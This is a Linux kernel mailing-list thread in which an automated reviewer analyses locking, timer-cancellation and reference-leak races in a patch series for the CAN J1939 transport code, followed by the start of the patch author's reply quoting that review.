- bool txtimer_cb_running;
- bool txtimer_shutdown;
+ /* Protects TX timer rearming and cancellation. */
+ spinlock_t txtimer_lock;
+ struct hrtimer txtimer __guarded_by(&txtimer_lock);
+ bool txtimer_qref __guarded_by(&txtimer_lock);
+ bool txtimer_cbref __guarded_by(&txtimer_lock);
+ bool txtimer_cb_running __guarded_by(&txtimer_lock);
+ bool txtimer_shutdown __guarded_by(&txtimer_lock);
+ /* RX timer state and refs below use active_session_list_lock. */
struct hrtimer rxtimer;
bool rxtimer_qref;
bool rxtimer_cbref;
bool rxtimer_cb_running;
- /* RX timer state and refs below use active_session_list_lock. */
/* Temporary drains defer rearming; the last drain installs the pending timeout. */
unsigned int rxtimer_cancelers;
bool rxtimer_pending;
diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
index 570e2b8d0826..7fcf66e93afd 100644
--- a/net/can/j1939/transport.c
+++ b/net/can/j1939/transport.c
@@ -236,11 +236,13 @@ static int j1939_xtp_abort_to_errno(struct j1939_priv *priv,
}
static inline void j1939_session_list_lock(struct j1939_priv *priv)
+ __acquires(&priv->active_session_list_lock)
{
spin_lock_bh(&priv->active_session_list_lock);
}
static inline void j1939_session_list_unlock(struct j1939_priv *priv)
+ __releases(&priv->active_session_list_lock)
{
spin_unlock_bh(&priv->active_session_list_lock);
}
@@ -331,6 +333,7 @@ static void j1939_session_txtimer_cancel(struct j1939_session *session)
session->txtimer_shutdown = true;
timer = &session->txtimer;
/* Keep this alias across unlock; blocking cancel must run outside the lock. */
+ context_unsafe_alias(timer);
ret = hrtimer_try_to_cancel(timer);
if (ret == 1) {
WARN_ON_ONCE(!session->txtimer_qref);
@@ -869,6 +872,7 @@ static void j1939_tp_schedule_txtimer_locked(struct j1939_session *session,
if (session->txtimer_shutdown)
return;
+ /* Replace the queued pin; a running callback retains its separate pin. */
ret = hrtimer_try_to_cancel(&session->txtimer);
if (ret == 1) {
/* Reuse the pin owned by the removed queued timer. */
@@ -1447,6 +1451,7 @@ static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
int ret = 0;
spin_lock_bh(&session->txtimer_lock);
+ /* A concurrent rearm may already have recorded the callback pin. */
if (!session->txtimer_cbref) {
WARN_ON_ONCE(session->txtimer_cb_running);
WARN_ON_ONCE(!session->txtimer_qref);
--
2.43.0
^ permalink raw reply related [flat|nested] 8+ messages in thread
* Re: [PATCH net v3 2/3] can: j1939: stop TX sends after session shutdown
2026-10-29 8:43 ` [PATCH net v3 2/3] can: j1939: stop TX sends after session shutdown Zihan Xi
@ 2026-10-29 9:15 ` sashiko-bot
2026-10-29 10:02 ` zihan xi
0 siblings, 1 reply; 8+ messages in thread
From: sashiko-bot @ 2026-10-29 9:15 UTC (permalink / raw)
To: Zihan Xi, linux-can
Cc: Marc Kleine-Budde, Oliver Hartkopp, Vincent Mailhol,
Oleksij Rempel
Thank you for your contribution! Sashiko AI review found 5 potential issue(s) to consider:
- [High] can: j1939: timer callbacks still cancel session after tx_send_shutdown
- [High] can: j1939: unconditional error notifications outside session state guards
- [High] can: j1939: session leak on sk_session_queue when simple TX races rxtimer
- [Medium] can: j1939: TX sends not shut down before draining timers on completion
- [Medium] can: j1939: spurious netdev_alert() in j1939_session_tx_dat() on -ESHUTDOWN
--
commit 2c11cd00299ff52c942a6b68d469115b501da6d9
Author: Zihan Xi <zihanx@nebusec.ai>
can: j1939: stop TX sends after session shutdown
This commit introduces a per-session tx_send_lock and tx_send_shutdown gate to
serialize session data and control frame transmissions against session
deactivation and incoming XTP ABORT handling. It also suppresses sending an
outbound XTP ABORT frame when tx_send_shutdown has been set.
Link: https://bugtracker.nebusec.ai/f/11143
Link: https://lore.kernel.org/all/cover.1793012287.git.zihanx@nebusec.ai/
> diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
> index 0dd08d1b8f755..570e2b8d08263 100644
> --- a/net/can/j1939/transport.c
> +++ b/net/can/j1939/transport.c
[ ... ]
> @@ -1363,12 +1398,14 @@ static void __j1939_session_cancel(struct j1939_session *session,
> struct j1939_priv *priv = session->priv;
>
> WARN_ON_ONCE(!err);
> + lockdep_assert_held(&session->tx_send_lock);
> lockdep_assert_held(&session->priv->active_session_list_lock);
>
> session->err = j1939_xtp_abort_to_errno(priv, err);
> session->state = J1939_SESSION_WAITING_ABORT;
> /* do not send aborts on incoming broadcasts */
> - if (!j1939_cb_is_broadcast(&session->skcb)) {
> + if (!session->tx_send_shutdown &&
> + !j1939_cb_is_broadcast(&session->skcb)) {
> j1939_xtp_tx_abort(priv, &session->skcb,
> !session->transmission,
> err, session->skcb.addr.pgn);
> @@ -1381,6 +1418,7 @@ static void __j1939_session_cancel(struct j1939_session *session,
> static void j1939_session_cancel(struct j1939_session *session,
> enum j1939_xtp_abort err)
> {
> + spin_lock_bh(&session->tx_send_lock);
> j1939_session_list_lock(session->priv);
>
> if (session->state >= J1939_SESSION_ACTIVE &&
> @@ -1391,6 +1429,7 @@ static void j1939_session_cancel(struct j1939_session *session,
> }
>
> j1939_session_list_unlock(session->priv);
> + spin_unlock_bh(&session->tx_send_lock);
>
> if (!session->sk)
> j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
[Severity: High]
When j1939_xtp_rx_abort_one() processes an incoming XTP ABORT frame, it calls
j1939_session_tx_send_shutdown(session) and then drains both timers via
j1939_session_timers_cancel(session) while session->state is still
J1939_SESSION_ACTIVE:
net/can/j1939/transport.c:j1939_xtp_rx_abort_one() {
...
j1939_session_tx_send_shutdown(session);
j1939_session_timers_cancel(session);
j1939_session_list_lock(priv);
if (session->state >= J1939_SESSION_ACTIVE &&
session->state < J1939_SESSION_ACTIVE_MAX)
session->err = j1939_xtp_abort_to_errno(priv, abort);
j1939_session_list_unlock(priv);
if (session->sk)
j1939_sk_send_loop_abort(session->sk, session->err);
else
j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
j1939_session_deactivate_activate_next(session);
}
While j1939_session_timers_cancel() is waiting for txtimer in
j1939_session_txtimer_cancel() (before j1939_session_rxtimer_cancel_sync()
increments session->rxtimer_cancelers), a concurrent j1939_tp_txtimer()
callback that fails prior to j1939_session_tx_send() (for instance with
-EOVERFLOW in j1939_session_tx_dat(), -ENOENT in j1939_session_tx_cts() or
j1939_session_tx_eoma(), or -ENOMEM in j1939_tp_tx_dat_new()) can call
j1939_session_cancel(), or a concurrent j1939_tp_rxtimer() callback can enter
its non-simple timeout branch.
Because !session->tx_send_shutdown is only checked around j1939_xtp_tx_abort()
inside __j1939_session_cancel() rather than gating the cancellation block in
j1939_session_cancel() and j1939_tp_rxtimer(), won't the timer callback still:
1. rearm session->rxtimer for J1939_XTP_ABORT_TIMEOUT_MS via
j1939_tp_set_rxtimeout_locked() (or record session->rxtimer_pending = true
if rxtimer_cancelers is non-zero),
2. overwrite session->err with the local timer error and transition
session->state to J1939_SESSION_WAITING_ABORT, and
3. immediately call j1939_sk_send_loop_abort(session->sk, session->err),
waking session->sk with the wrong sk_err before j1939_xtp_rx_abort_one()
sets session->err from the received ABORT frame and notifies the socket a
second time?
Should j1939_session_cancel() and the timeout branch in j1939_tp_rxtimer()
check !session->tx_send_shutdown before rearming rxtimer and calling
__j1939_session_cancel()?
[ ... ]
> @@ -1460,6 +1498,9 @@ static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
> * propagation of the error to user space.
> */
> break;
> + case -ESHUTDOWN:
> + /* A terminal path won before this packet could be sent. */
> + break;
> case -EOVERFLOW:
> j1939_session_cancel(session, J1939_XTP_ABORT_ECTS_TOO_BIG);
> break;
[Severity: Medium]
Here j1939_tp_txtimer() treats -ESHUTDOWN as an expected race with session
shutdown, but in j1939_tp_txtimer() -> j1939_xtp_txnext_transmiter() ->
j1939_session_tx_dat(), a -ESHUTDOWN return from j1939_tp_tx_dat() still hits
the error log check:
net/can/j1939/transport.c:j1939_session_tx_dat() {
...
ret = j1939_tp_tx_dat(session, dat, len + 1);
if (ret < 0) {
/* ENOBUFS == CAN interface TX queue is full */
if (ret != -ENOBUFS)
netdev_alert(priv->ndev,
"%s: 0x%p: queue data error: %i\n",
__func__, session, ret);
break;
}
}
Will a session shutdown racing with j1939_session_tx_dat() emit a spurious
netdev_alert() with -ESHUTDOWN (and still call j1939_tp_set_rxtimeout() if
pkt_done > 0 from earlier packets in the loop)?
> @@ -1558,6 +1599,7 @@ static enum hrtimer_restart j1939_tp_rxtimer(struct hrtimer *hrtimer)
> /* The message is probably stuck in the CAN controller and can
> * be send as soon as CAN bus is in working state again.
> */
> + spin_lock_bh(&session->tx_send_lock);
> j1939_session_list_lock(priv);
> if (session->state >= J1939_SESSION_ACTIVE &&
> session->state < J1939_SESSION_ACTIVE_MAX) {
> session->err = -ETIME;
> j1939_session_deactivate_locked(session);
> }
> j1939_session_list_unlock(priv);
> + spin_unlock_bh(&session->tx_send_lock);
> j1939_session_txtimer_cancel_async(session);
> j1939_session_rxtimer_cancel(session);
[Severity: High]
Can this J1939_SIMPLE timeout path in j1939_tp_rxtimer() leak the session on
jsk->sk_session_queue and hang socket close when it races with
j1939_simple_txnext()?
In j1939_tp_txtimer() -> j1939_simple_txnext(), rxtimer is armed before
j1939_session_tx_send() is called, and j1939_sk_queue_activate_next(session)
is only called if j1939_session_tx_send() succeeds:
net/can/j1939/transport.c:j1939_simple_txnext() {
...
j1939_tp_set_rxtimeout(session, J1939_SIMPLE_ECHO_TIMEOUT_MS);
ret = j1939_session_tx_send(session, skb);
if (ret)
goto out_free;
j1939_sk_errqueue(session, J1939_ERRQUEUE_TX_SCHED);
j1939_sk_queue_activate_next(session);
}
If j1939_tp_rxtimer() fires before j1939_session_tx_send() succeeds (either
between j1939_tp_set_rxtimeout() and j1939_session_tx_send(), or while txtimer
is retrying after j1939_session_tx_send() returned -ENOBUFS),
j1939_tp_rxtimer() transitions session->state to J1939_SESSION_DONE via
j1939_session_deactivate_locked() and cancels both timers without calling
j1939_sk_queue_activate_next(session).
When j1939_simple_txnext() then calls j1939_session_tx_send(), it sees
state != J1939_SESSION_ACTIVE and returns -ESHUTDOWN, jumping to out_free
without calling j1939_sk_queue_activate_next(session), and j1939_tp_txtimer()
breaks out of its switch on -ESHUTDOWN.
Doesn't that leave session permanently queued on jsk->sk_session_queue with
its queue kref and jsk->skb_pending count held, stalling subsequent queued
sessions and causing j1939_sk_release() to block indefinitely waiting on
!j1939_sock_pending_get(&jsk->sk)?
> } else {
> + spin_lock_bh(&session->tx_send_lock);
> j1939_session_list_lock(session->priv);
> if (!session->rxtimer_cancelers &&
> session->state >= J1939_SESSION_ACTIVE &&
> session->state < J1939_SESSION_ACTIVE_MAX) {
> netdev_alert(priv->ndev, "%s: 0x%p: rx timeout, send abort\n",
> __func__, session);
> j1939_tp_set_rxtimeout_locked(session,
> J1939_XTP_ABORT_TIMEOUT_MS);
> __j1939_session_cancel(session, J1939_XTP_ABORT_TIMEOUT);
> }
> j1939_session_list_unlock(session->priv);
> + spin_unlock_bh(&session->tx_send_lock);
>
> if (!session->sk)
> j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
[Severity: High]
In this branch of j1939_tp_rxtimer(), as well as in j1939_session_cancel() and
j1939_xtp_rx_abort_one(), the socket error notification outside the lock runs
unconditionally even when the state check (or !session->rxtimer_cancelers)
evaluates to false.
For example, when an RX session (!session->sk) completes in
j1939_xtp_rx_dat_one() (when final is true) and calls
j1939_session_timers_cancel() -> j1939_session_rxtimer_cancel_sync(),
session->rxtimer_cancelers is incremented while waiting for a running
j1939_tp_rxtimer() callback to finish. In j1939_tp_rxtimer(), the condition
!session->rxtimer_cancelers is false, so __j1939_session_cancel() is skipped
and session->err remains 0, but j1939_tp_rxtimer() still calls
j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT) after dropping the locks.
Similarly, if j1939_session_cancel() or j1939_xtp_rx_abort_one() finds that
another path already transitioned session->state out of the active range, it
still invokes j1939_sk_errqueue() or j1939_sk_send_loop_abort().
Should these error notifications be gated on whether the caller actually won
the state transition?
> @@ -1671,6 +1716,8 @@ static void j1939_xtp_rx_abort_one(struct j1939_priv *priv, struct sk_buff *skb,
> session, j1939_xtp_ctl_to_pgn(skb->data), abort,
> j1939_xtp_abort_to_str(abort));
>
> + /* Stop TX callbacks before waiting for the timer callbacks to drain. */
> + j1939_session_tx_send_shutdown(session);
> j1939_session_timers_cancel(session);
> j1939_session_list_lock(priv);
> if (session->state >= J1939_SESSION_ACTIVE &&
[Severity: Medium]
Here j1939_xtp_rx_abort_one() calls j1939_session_tx_send_shutdown(session)
before j1939_session_timers_cancel(session), because session->state is still
J1939_SESSION_ACTIVE while the timers are being drained.
However, the other paths that call j1939_session_timers_cancel(session) before
deactivating or canceling the session do not call
j1939_session_tx_send_shutdown(session) first:
- j1939_xtp_rx_eoma_one() sets session->pkt.tx_acked = session->pkt.total,
calls j1939_session_timers_cancel(session), and only then calls
j1939_session_completed(session) -> j1939_session_deactivate().
- j1939_xtp_rx_dat_one() (both the final completion branch and
out_session_cancel) calls j1939_session_timers_cancel(session) before
j1939_session_completed(session) or j1939_session_cancel(session, abort).
- j1939_simple_recv() calls j1939_session_timers_cancel(session) before
j1939_session_deactivate(session).
- j1939_xtp_rx_cts_one() (at out_session_cancel) and
j1939_xtp_rx_rts_session_active() call j1939_session_timers_cancel(session)
before j1939_session_cancel().
While j1939_session_timers_cancel() is waiting for an in-flight
j1939_tp_txtimer() callback in those paths, both session->tx_send_shutdown is
false and session->state is J1939_SESSION_ACTIVE, so j1939_session_tx_send()
still allows packets through (and in j1939_xtp_rx_eoma_one(), a concurrent
j1939_tp_rxtimer() firing before rxtimer_cancelers is incremented can still
send an XTP ABORT frame on a completed session).
Should j1939_session_timers_cancel() itself call
j1939_session_tx_send_shutdown(session) (or should those callers shut down TX
sends before draining the timers)?
--
Sashiko AI review · https://sashiko.dev/#/patchset/cover.1793259424.git.zihanx@nebusec.ai?part=2
^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [PATCH net v3 1/3] can: j1939: fix session reference leaks on timer rearm
2026-10-29 8:43 ` [PATCH net v3 1/3] can: j1939: fix session reference leaks on timer rearm Zihan Xi
@ 2026-10-29 9:17 ` sashiko-bot
2026-10-29 10:05 ` zihan xi
0 siblings, 1 reply; 8+ messages in thread
From: sashiko-bot @ 2026-10-29 9:17 UTC (permalink / raw)
To: Zihan Xi, linux-can
Cc: Marc Kleine-Budde, Oliver Hartkopp, Vincent Mailhol,
Oleksij Rempel
Thank you for your contribution! Sashiko AI review found 5 potential issue(s) to consider:
- [High] can: j1939: uncancelled rearmed timers on session deactivation
- [Medium] can: j1939: missing rxtimer_cancelers check in j1939_tp_rxtimer()
- [Medium] can: j1939: spurious RX abort errqueue in j1939_tp_rxtimer()
- [Medium] can: j1939: unconditional abort report in j1939_xtp_rx_abort_one()
- [Medium] can: j1939: race between j1939_xtp_rx_cts_one() and running j1939_tp_txtimer()
--
commit 7eba1ba447e6468d3fbb3a6bd7b54eae6d683f35
Author: Zihan Xi <zihanx@nebusec.ai>
can: j1939: fix session reference leaks on timer rearm
This patch separates queued timer and running callback references for J1939
session TX and RX hrtimers to avoid leaking session references on timer
rearming. It also drains terminal timers outside state locks and moves
next-session timer scheduling outside the socket queue lock.
Link: https://bugtracker.nebusec.ai/f/11143
Link: https://lore.kernel.org/all/cover.1793012287.git.zihanx@nebusec.ai/
> diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
> index 8fcfd13e5e6f8..0dd08d1b8f755 100644
> --- a/net/can/j1939/transport.c
> +++ b/net/can/j1939/transport.c
> @@ -301,22 +302,139 @@ void j1939_session_put(struct j1939_session *session)
> kref_put(&session->kref, __j1939_session_release);
> }
>
> +static void j1939_session_txtimer_cancel_async(struct j1939_session *session)
> +{
> + bool put_qref = false;
> + int ret;
> +
> + spin_lock_bh(&session->txtimer_lock);
> + session->txtimer_shutdown = true;
> + ret = hrtimer_try_to_cancel(&session->txtimer);
> + if (ret == 1) {
> + WARN_ON_ONCE(!session->txtimer_qref);
> + session->txtimer_qref = false;
> + put_qref = true;
> + }
> + spin_unlock_bh(&session->txtimer_lock);
> +
> + if (put_qref)
> + j1939_session_put(session);
> +}
[ ... ]
> +/* Cancel a queued RX timer without waiting; caller may be in softirq context. */
> static void j1939_session_rxtimer_cancel(struct j1939_session *session)
> {
> - if (hrtimer_cancel(&session->rxtimer))
> + bool put_qref = false;
> + int ret;
> +
> + j1939_session_list_lock(session->priv);
> + ret = hrtimer_try_to_cancel(&session->rxtimer);
> + if (ret == 1) {
> + WARN_ON_ONCE(!session->rxtimer_qref);
> + session->rxtimer_qref = false;
> + put_qref = true;
> + }
> + j1939_session_list_unlock(session->priv);
> +
> + if (put_qref)
> j1939_session_put(session);
> }
[ ... ]
> @@ -1127,6 +1342,11 @@ static bool j1939_session_deactivate(struct j1939_session *session)
> active = j1939_session_deactivate_locked(session);
> j1939_session_list_unlock(priv);
>
> + if (active) {
> + j1939_session_txtimer_cancel_async(session);
> + j1939_session_rxtimer_cancel(session);
> + }
> +
> return active;
> }
[ ... ]
> @@ -1226,13 +1472,37 @@ static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
> if (session->skcb.addr.type != J1939_SIMPLE) {
> j1939_session_cancel(session, J1939_XTP_ABORT_OTHER);
> } else {
> - session->err = ret;
> + j1939_session_list_lock(priv);
> + if (session->state >= J1939_SESSION_ACTIVE &&
> + session->state < J1939_SESSION_ACTIVE_MAX)
> + session->err = ret;
> + j1939_session_list_unlock(priv);
> j1939_session_rxtimer_cancel(session);
> j1939_session_deactivate_activate_next(session);
> }
> }
>
> - j1939_session_put(session);
> +txtimer_done:
> + spin_lock_bh(&session->txtimer_lock);
> + WARN_ON_ONCE(!session->txtimer_cb_running ||
> + !session->txtimer_cbref);
> + session->txtimer_cb_running = false;
> + if (txtimer_delay && !session->txtimer_shutdown &&
> + !session->txtimer_qref) {
> + /* Transfer the callback pin to its rearmed timer. */
> + session->txtimer_cbref = false;
> + session->txtimer_qref = true;
> + hrtimer_start(&session->txtimer, ms_to_ktime(txtimer_delay),
> + HRTIMER_MODE_REL_SOFT);
> + } else {
> + /* An external qref, if present, owns the next firing. */
> + session->txtimer_cbref = false;
> + put_cbref = true;
> + }
> + spin_unlock_bh(&session->txtimer_lock);
> +
> + if (put_cbref)
> + j1939_session_put(session);
>
> return HRTIMER_NORESTART;
> }
> @@ -1257,8 +1527,25 @@ static enum hrtimer_restart j1939_tp_rxtimer(struct hrtimer *hrtimer)
> struct j1939_session,
> rxtimer);
> struct j1939_priv *priv = session->priv;
> + enum j1939_session_state state;
> + bool active;
> +
> + j1939_session_list_lock(priv);
> + if (!session->rxtimer_cbref) {
> + WARN_ON_ONCE(session->rxtimer_cb_running);
> + WARN_ON_ONCE(!session->rxtimer_qref);
> + session->rxtimer_qref = false;
> + session->rxtimer_cbref = true;
> + }
> + session->rxtimer_cb_running = true;
> + state = session->state;
> + active = state >= J1939_SESSION_ACTIVE &&
> + state < J1939_SESSION_ACTIVE_MAX;
> + j1939_session_list_unlock(priv);
>
> - if (session->state == J1939_SESSION_WAITING_ABORT) {
> + if (!active) {
> + /* A terminal path won before this callback started its work. */
> + } else if (state == J1939_SESSION_WAITING_ABORT) {
> netdev_alert(priv->ndev, "%s: 0x%p: abort rx timeout. Force session deactivation\n",
> __func__, session);
>
> @@ -1271,18 +1558,24 @@ static enum hrtimer_restart j1939_tp_rxtimer(struct hrtimer *hrtimer)
> /* The message is probably stuck in the CAN controller and can
> * be send as soon as CAN bus is in working state again.
> */
> - session->err = -ETIME;
> - j1939_session_deactivate(session);
> + j1939_session_list_lock(priv);
> + if (session->state >= J1939_SESSION_ACTIVE &&
> + session->state < J1939_SESSION_ACTIVE_MAX) {
> + session->err = -ETIME;
> + j1939_session_deactivate_locked(session);
> + }
> + j1939_session_list_unlock(priv);
> + j1939_session_txtimer_cancel_async(session);
> + j1939_session_rxtimer_cancel(session);
[Severity: High]
Can a rearmed timer remain queued holding session->rxtimer_qref or
session->txtimer_qref after the session is deactivated?
In kernel/time/hrtimer.c:hrtimer_try_to_cancel():
if (!hrtimer_callback_running(timer)) {
ret = remove_hrtimer(timer, base, HRTIMER_STATE_INACTIVE);
if (ret)
trace_hrtimer_cancel(timer);
}
whenever the callback is currently executing (base->running == timer),
hrtimer_try_to_cancel() returns -1 without removing the timer from the
hrtimer queue, even if the timer was concurrently rearmed with
hrtimer_start().
When j1939_session_deactivate() (or the J1939_SIMPLE branch in
j1939_tp_rxtimer()) deactivates a session, j1939_session_deactivate_locked()
removes the session from priv->active_session_list and sets session->state
to J1939_SESSION_DONE, and then calls j1939_session_txtimer_cancel_async()
and j1939_session_rxtimer_cancel().
If a timer was rearmed while its callback was running:
1. In j1939_tp_rxtimer(), the J1939_SESSION_WAITING_ABORT and J1939_SIMPLE
branches call j1939_session_rxtimer_cancel() from inside
j1939_tp_rxtimer() itself. Since hrtimer_callback_running() is true,
hrtimer_try_to_cancel(&session->rxtimer) always returns -1. If a
concurrent j1939_tp_set_rxtimeout() rearmed session->rxtimer before
session->state became J1939_SESSION_DONE, the epilogue of
j1939_tp_rxtimer() only drops session->rxtimer_cbref and leaves
session->rxtimer queued with session->rxtimer_qref = true.
2. In the active XTP branch of j1939_tp_rxtimer(), the callback rearms
session->rxtimer for J1939_XTP_ABORT_TIMEOUT_MS (setting
session->rxtimer_qref = true) and drops active_session_list_lock. If a
concurrent j1939_tp_txtimer() error path calls
j1939_session_rxtimer_cancel() and j1939_session_deactivate_activate_next()
before j1939_tp_rxtimer() finishes executing in __run_hrtimer(),
hrtimer_try_to_cancel(&session->rxtimer) returns -1 and leaves the abort
timeout queued.
3. Similarly, if a concurrent j1939_tp_schedule_txtimer() rearms
session->txtimer while j1939_tp_txtimer() is running (setting
session->txtimer_qref = true) and j1939_session_txtimer_cancel_async()
runs before j1939_tp_txtimer() exits, hrtimer_try_to_cancel() returns -1.
At txtimer_done, session->txtimer_shutdown is true, so it takes the else
branch and only drops session->txtimer_cbref, leaving session->txtimer
queued with session->txtimer_qref = true.
Because the session has already been removed from priv->active_session_list,
j1939_cancel_active_session() during socket close or netdev teardown will no
longer find the session to synchronously drain the remaining queued timer,
delaying j1939_session_destroy() until the timer expires.
> } else {
> j1939_session_list_lock(session->priv);
> - if (session->state >= J1939_SESSION_ACTIVE &&
> + if (!session->rxtimer_cancelers &&
> + session->state >= J1939_SESSION_ACTIVE &&
> session->state < J1939_SESSION_ACTIVE_MAX) {
> netdev_alert(priv->ndev, "%s: 0x%p: rx timeout, send abort\n",
> __func__, session);
> - j1939_session_get(session);
> - hrtimer_start(&session->rxtimer,
> - ms_to_ktime(J1939_XTP_ABORT_TIMEOUT_MS),
> - HRTIMER_MODE_REL_SOFT);
> + j1939_tp_set_rxtimeout_locked(session,
> + J1939_XTP_ABORT_TIMEOUT_MS);
> __j1939_session_cancel(session, J1939_XTP_ABORT_TIMEOUT);
> }
> j1939_session_list_unlock(session->priv);
[Severity: Medium]
Should the state == J1939_SESSION_WAITING_ABORT and
session->skcb.addr.type == J1939_SIMPLE branches in j1939_tp_rxtimer() also
check session->rxtimer_cancelers?
Callers such as j1939_simple_recv() and j1939_xtp_rx_abort_one() drain
timers via j1939_session_timers_cancel(session) before updating session->err
or deactivating the session:
j1939_simple_recv()
j1939_session_timers_cancel(session)
j1939_session_rxtimer_cancel_sync(session, true)
session->rxtimer_cancelers++;
j1939_session_list_unlock(session->priv);
hrtimer_cancel(timer);
j1939_session_deactivate(session);
Because j1939_tp_rxtimer() only checks !session->rxtimer_cancelers in the
final else branch, a concurrent j1939_tp_rxtimer() running while
j1939_simple_recv() is waiting in hrtimer_cancel() will enter the
J1939_SIMPLE branch, set session->err = -ETIME, and deactivate the session,
reporting a timeout error for a simple message that was already received.
Likewise, in the J1939_SESSION_WAITING_ABORT branch, j1939_tp_rxtimer() will
deactivate the session while j1939_xtp_rx_abort_one() is waiting in
j1939_session_timers_cancel(), preventing j1939_xtp_rx_abort_one() from
recording the abort error code in session->err.
>
> if (!session->sk)
> j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
> }
[Severity: Medium]
If j1939_tp_rxtimer() skips __j1939_session_cancel() in the else branch
because session->rxtimer_cancelers is non-zero or session->state is no
longer active, won't this still unconditionally call
j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT) when !session->sk?
For example, when an incoming broadcast BAM session completes in
j1939_xtp_rx_dat_one() and calls j1939_session_timers_cancel(session),
session->rxtimer_cancelers is incremented while hrtimer_cancel() waits for a
concurrently running j1939_tp_rxtimer(). j1939_tp_rxtimer() sees
session->rxtimer_cancelers != 0 and skips __j1939_session_cancel(), but
after unlocking it still queues a spurious J1939_ERRQUEUE_RX_ABORT with
session->err == 0 to subscribed sockets.
[ ... ]
> @@ -1372,7 +1672,11 @@ static void j1939_xtp_rx_abort_one(struct j1939_priv *priv, struct sk_buff *skb,
> j1939_xtp_abort_to_str(abort));
>
> j1939_session_timers_cancel(session);
> - session->err = j1939_xtp_abort_to_errno(priv, abort);
> + j1939_session_list_lock(priv);
> + if (session->state >= J1939_SESSION_ACTIVE &&
> + session->state < J1939_SESSION_ACTIVE_MAX)
> + session->err = j1939_xtp_abort_to_errno(priv, abort);
> + j1939_session_list_unlock(priv);
> if (session->sk)
> j1939_sk_send_loop_abort(session->sk, session->err);
> else
> j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
> j1939_session_deactivate_activate_next(session);
[Severity: Medium]
In j1939_xtp_rx_abort_one(), if the session transitions to
J1939_SESSION_DONE while j1939_session_timers_cancel(session) is waiting
outside active_session_list_lock, session->err is not updated, but
j1939_sk_send_loop_abort() or j1939_sk_errqueue() is still called
unconditionally afterwards.
Should reporting the abort also be skipped when the session was already
deactivated?
> @@ -1486,7 +1790,6 @@ j1939_xtp_rx_cts_one(struct j1939_session *session, struct sk_buff *skb)
> if (session->pkt.tx_acked)
> j1939_sk_errqueue(session,
> J1939_ERRQUEUE_TX_SCHED);
> - j1939_session_txtimer_cancel(session);
> j1939_tp_schedule_txtimer(session, 0);
> }
> } else {
[Severity: Medium]
Is it safe to remove j1939_session_txtimer_cancel(session) from
j1939_xtp_rx_cts_one() when j1939_tp_txtimer() may already be running on
another CPU?
Previously, j1939_xtp_rx_cts_one() called hrtimer_cancel(&session->txtimer)
before calling j1939_tp_schedule_txtimer(session, 0), waiting for any
in-flight j1939_tp_txtimer() callback to finish.
Without that wait, if j1939_tp_txtimer() is dispatched on CPU 0 (for
instance, from a packet-delay or -ENOBUFS retry timer) while
j1939_xtp_rx_cts_one() runs on CPU 1:
CPU 1 (j1939_xtp_rx_cts_one)
updates session->pkt.tx_acked, session->pkt.last, session->pkt.tx
session->last_cmd = dat[0];
j1939_tp_schedule_txtimer(session, 0)
hrtimer_try_to_cancel(&session->txtimer) -> returns -1
session->txtimer_qref = true;
hrtimer_start(&session->txtimer, 0, ...);
CPU 0 (j1939_tp_txtimer)
j1939_xtp_txnext_transmiter(session, &txtimer_delay)
j1939_session_tx_dat(session, &txtimer_delay)
CPU 0 then transmits using the CTS state just written by CPU 1. At
txtimer_done on CPU 0:
if (txtimer_delay && !session->txtimer_shutdown &&
!session->txtimer_qref) {
...
} else {
/* An external qref, if present, owns the next firing. */
session->txtimer_cbref = false;
put_cbref = true;
}
Because session->txtimer_qref is already true from CPU 1, CPU 0 either drops
its computed txtimer_delay (losing j1939_tp_packet_delay or the -ENOBUFS
retry backoff in favor of the 0ms timer) or, if CPU 0 already transmitted
all packets up to session->pkt.total, leaves the 0ms timer queued so the
next j1939_tp_txtimer() firing sees session->pkt.tx == session->pkt.total,
fails j1939_session_skb_get_by_offset() with NULL, and triggers -ENOBUFS
retries.
--
Sashiko AI review · https://sashiko.dev/#/patchset/cover.1793259424.git.zihanx@nebusec.ai?part=1
^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [PATCH net v3 2/3] can: j1939: stop TX sends after session shutdown
2026-10-29 9:15 ` sashiko-bot
@ 2026-10-29 10:02 ` zihan xi
0 siblings, 0 replies; 8+ messages in thread
From: zihan xi @ 2026-10-29 10:02 UTC (permalink / raw)
To: sashiko-reviews
Cc: linux-can, Marc Kleine-Budde, Oliver Hartkopp, Vincent Mailhol,
Oleksij Rempel
On Thu, Oct 29, 2026 at 5:15 PM <sashiko-bot@kernel.org> wrote:
>
> Thank you for your contribution! Sashiko AI review found 5 potential issue(s) to consider:
> - [High] can: j1939: timer callbacks still cancel session after tx_send_shutdown
> - [High] can: j1939: unconditional error notifications outside session state guards
> - [High] can: j1939: session leak on sk_session_queue when simple TX races rxtimer
> - [Medium] can: j1939: TX sends not shut down before draining timers on completion
> - [Medium] can: j1939: spurious netdev_alert() in j1939_session_tx_dat() on -ESHUTDOWN
> --
>
> commit 2c11cd00299ff52c942a6b68d469115b501da6d9
> Author: Zihan Xi <zihanx@nebusec.ai>
>
> can: j1939: stop TX sends after session shutdown
>
> This commit introduces a per-session tx_send_lock and tx_send_shutdown gate to
> serialize session data and control frame transmissions against session
> deactivation and incoming XTP ABORT handling. It also suppresses sending an
> outbound XTP ABORT frame when tx_send_shutdown has been set.
>
> Link: https://bugtracker.nebusec.ai/f/11143
> Link: https://lore.kernel.org/all/cover.1793012287.git.zihanx@nebusec.ai/
>
> > diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
> > index 0dd08d1b8f755..570e2b8d08263 100644
> > --- a/net/can/j1939/transport.c
> > +++ b/net/can/j1939/transport.c
>
> [ ... ]
>
> > @@ -1363,12 +1398,14 @@ static void __j1939_session_cancel(struct j1939_session *session,
> > struct j1939_priv *priv = session->priv;
> >
